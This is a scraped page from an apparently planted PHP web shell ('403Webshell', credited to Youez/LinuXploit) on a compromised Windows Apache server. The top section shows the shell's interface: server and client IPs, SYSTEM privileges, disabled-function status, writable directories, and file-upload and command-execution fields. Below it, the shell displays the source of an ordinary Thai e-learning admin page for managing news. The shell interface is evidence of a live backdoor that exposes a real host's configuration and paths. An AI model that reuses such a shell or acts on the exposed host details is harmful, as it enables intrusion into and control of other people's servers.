403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/elearning/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/elearning/admin//manage_news.php
<?php
require '../configs/app_top.php';
if(!is_admin_logged_in()) { redirect(generate_admin_link("login")); exit;}
?>

<?php
$title = "จัดการข่าวประกาศ";

$sql1 = "select count(*) as count FROM " . TBL_NEWS . " WHERE 1 ";
try {
  $stmt = $DB->prepare($sql1);
  $stmt->execute();
  $results = $stmt->fetchAll();
  $total = $results[0]["count"];
  $pagination = new Pagination($total, $_GET["pagenum"], 20);
  $total_pages = $pagination->total_pages();

  if ($total_pages > 0) {
    $sql2 = "select   `n_id`, `n_title`,`n_detail`, `n_date`   "
            . "FROM " . TBL_NEWS . " WHERE 1 ORDER BY n_id DESC "
            . "LIMIT " . $pagination->get_lower_limit() . " , " . 20 . "";

    $stmt = $DB->prepare($sql2);
    $stmt->execute();
    $results = $stmt->fetchAll();
  }
} catch (Exception $ex) {
  echo $ex->getMessage();
}


include './includes/header.php';
?>
    <?php if ($ERROR_TYPE <> "") { ?>
  <div class="col-12">
    <div class="alert alert-<?php echo $ERROR_TYPE; ?>">
      <button data-dismiss="alert" class="close" type="button">×</button>
  <?php echo $ERROR_MSG; ?>
    </div>
  </div>
<?php } ?>

<div class="clearfix"></div>
<div class="row">
  <div class="col-12">

    <div class="panel panel-default">
      <div class="panel-heading"><span class="glyphicon glyphicon-cog"></span> <?php echo $title; ?></div>
      <div class="panel-body">
        <div class="margin10">

          <div class="padding5 clearfix"></div>
<?php if ($total_pages > 0) { ?>

            <table class="table table-hover table-datatable table-striped table-bordered">
              <thead>
                <tr>
                  <th style="text-align: left;" width="600px">ชื่อเรื่อง</th>
                  <th style="text-align: left;">วันที่ประกาศ</th>
                  <th style="text-align: center;">จัดการ</th>
                </tr>
              </thead>

              <tbody>
  <?php foreach ($results as $r) { ?>
                  <tr>
<td style="text-align: left;"><?php echo safe_output($r["n_title"]) ?></td>
<td style="text-align: left;"><?php echo date("jS F Y, h:i:s A", strtotime(safe_output($r["n_date"]))); ?></td>

<td style="text-align: center;">						
		   <a data-href="<?php echo generate_admin_link("news_auth", "mode=delete&id=" . ($r["n_id"]) . "&" . get_all_get_params(array("id"))); ?>" data-toggle="modal" data-target="#confirm-delete"  href="javascript:void(0);">
    <button class="btn btn-sm btn-danger" type="button"><span class="glyphicon glyphicon-trash"></span> ลบ</button>
  </a>			
</td>

				
                  </tr>
  <?php } ?>
              </tbody>
            </table>

            <div class="col-12 center">
              <ul class="pagination">
  <?php $pagination->display_links($PAGE_NAME); ?>
              </ul>
            </div>

            <div class="modal fade" id="confirm-delete" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
              <div class="modal-dialog">
                <div class="modal-content">
                  <div class="modal-header">
                    <h4>ลบข่าว</h4>
                  </div>
                  <div class="modal-body">
                    คุณแน่ใจหรือที่จะลบข่าว ?<br>
                  </div>
                  <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">ยกเลิก</button>
                    <a href="#" class="btn btn-danger danger">ลบ</a>
                  </div>
                </div>
              </div>
            </div>
<?php } else { ?>
            <h3>ไม่พบข้อมูลข่าว.</h3>
<?php } ?>


        </div>
      </div>
    </div>
  </div>
</div>
<script>
  jQuery(function() {
    jQuery('#confirm-delete').on('show.bs.modal', function(e) {
      jQuery(this).find('.danger').attr('href', jQuery(e.relatedTarget).data('href'));
    });
  });
</script>
<?php
include './includes/footer.php';
require '../configs/app_bottom.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit